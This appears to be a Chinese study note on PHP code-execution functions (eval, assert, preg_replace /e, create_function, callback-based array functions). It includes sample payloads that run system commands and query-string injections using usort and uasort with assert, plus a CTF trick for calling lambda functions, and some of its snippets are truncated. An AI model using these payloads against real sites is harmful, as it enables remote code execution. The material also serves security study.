本文仅作学习记录,如有侵权,请联系删除!
代码执行:
eval()
将传入的字符串当作 PHP 代码来进行执行
自 PHP 7 开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。
在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误
简而言之:PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码
assert()
检查一个断言是否为 FALSE,它也具有将传入的字符串当作 PHP 代码来进行执行的功能。
语法格式:
# php5
assert( mixed $assertion[, string $description] ) : bool
# php7
assert( mixed $assertion[, Throwable $exception] ) : bool
参数:assertion
在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。
参数:description
如果assertion失败了,选项description将会包含在失败信息里。
参数:exception
在PHP 7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception,那么该对象将被抛出
$code = "system(whoami)";
assert($code);
?>
preg_replace()
执行一个正则表达式的搜索和替换
语法格式:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换
preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题:
/e 修正符使preg_repace()将replacement参数当作PHP代码
$a = $_GET['id'];
preg_replace("/test/e",$a, 'just a test')
?>
注意:preg_replace()函数在PHP 7 后便不再支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。
create_function()
创建一个匿名函数,并返回唯一的函数名称作为字符串或者返回FALSE错误
语法格式:
create_function( string $args, string $code) : string
参数:
$args 声明的函数变量部分
$code 要执行的代码
create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。
$newfunc = create_function('$id', 'return system($id);');
$newfunc('whoami');
?>
create_function()函数其他用法补充:
$onefunc = create_function("","die(`type flag.php`);");
$_GET['func_name']();
die();
?>
只需要执行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag
本地测试失败
anonymous function(匿名函数)
允许临时创建一个没有指定名称的函数。最经常用作回调函数 callback 参数的值
$anonymousFunc = function($cmd){
system($cmd);
};
$anonymousFunc('whoami');
array_map()
为数组的每个元素应用回调函数
语法格式:
array_map( callable $callback, array $array1[, array $...] ) : array
返回数组,为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样
简而言之:本来有一个数组,我通过array_map函数将该数组当作参数传入,然后返回一个新的数组
$old_array = array(1, 2, 3, 4, 5);
function func($arg){
return $arg * $arg;
}
$new_array = array_map('func',$old_array);
var_dump($new_array);
?>
代码注入利用原理:
通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了
$func = 'system';
$cmd = 'whoami';
$old_array[0] = $cmd;
$new_array = array_map($func,$old_array);
?>
call_user_func()
把第一个参数作为回调函数调用
语法格式:
call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed
callback:即将被调用的回调函数
parameter:传入回调函数的参数
function callback($a){
return system($a);
}
$cmd = 'whoami';
call_user_func('callback',$cmd);
?>
call_user_func_array()
跟函数call_user_func很类似,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数
语法格式:
call_user_func_array( callable $callback, array $param_arr) : mixed
function callback($a){
return system($a);
}
$cmd = array('whoami');
call_user_func_array('callback',$cmd);
?>
array_filter()
用回调函数过滤数数组中的单元
语法格式:
array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array
array:要循环的数组
callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。
flag:决定callback接收的参数形式
依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
简而言之:该函数过滤调用的函数,而被过滤的是传入的参数
$cmd='whoami';
$array1=array($cmd);
$func ='system';
array_filter($array1,$func);
?>
usort()
使用用户自定义的比较函数对数组中的值进行排序
usort( array &$array, callable $value_compare_func) : bool
array:输入的数组
cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数
代码实例:
function func($a,$b){
return ($a
}
$onearray=array(1,3,2,5,9);
usort($onearray, 'func');
print_r($onearray);
?>
执行结果——>
Array
(
[0] => 9
[1] => 5
[2] => 3
[3] => 2
[4] => 1
)
利用代码:
usort(...$_GET);
?>
payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert
POST传参: x=phpinfo();
那么$_GET变量中的值,应该是:['$a=0','eval($_POST["x"])'],'assert']
$_GET[0]是usort的第一个参数
$_GET[1]是usort的回调函数名
最后相当于:
适用条件:
php环境>=5.6
另一种用法,经测试适用于php 5.4
payload: 1.php?1=1+1&2=eval($_POST[x])
POST传参: x=phpinfo();
uasort()
对数组排序并保持索引和单元之间的关联,排完序之后,它原来对应的索引也会相应改变,类似于“绑定”。
语法格式:
uasort( array &$array, callable $value_compare_func) : bool
array:输入的数组
value_compare_func:用户自定义的函数
官方示例:
// Comparison function
function cmp($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}
// Array to be sorted
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
print_r($array);
// Sort and print the resulting array
uasort($array, 'cmp');
?>
执行结果——>
Array
(
[a] => 4
[b] => 8
[c] => -1
[d] => -9
[e] => 2
[f] => 5
[g] => 3
[h] => -4
)
Array
(
[d] => -9
[h] => -4
[c] => -1
[e] => 2
[g] => 3
[a] => 4
[f] => 5
[b] => 8
)
排完序之后索引也跟着值的位置变化而变化了
$a = $_GET['a'];
$onearray = array('Ameng', $_POST['x']);
uasort($onearray, $a);
?>
payload: 1.php?a=assert
POST: x=phpinfo()
参考如下: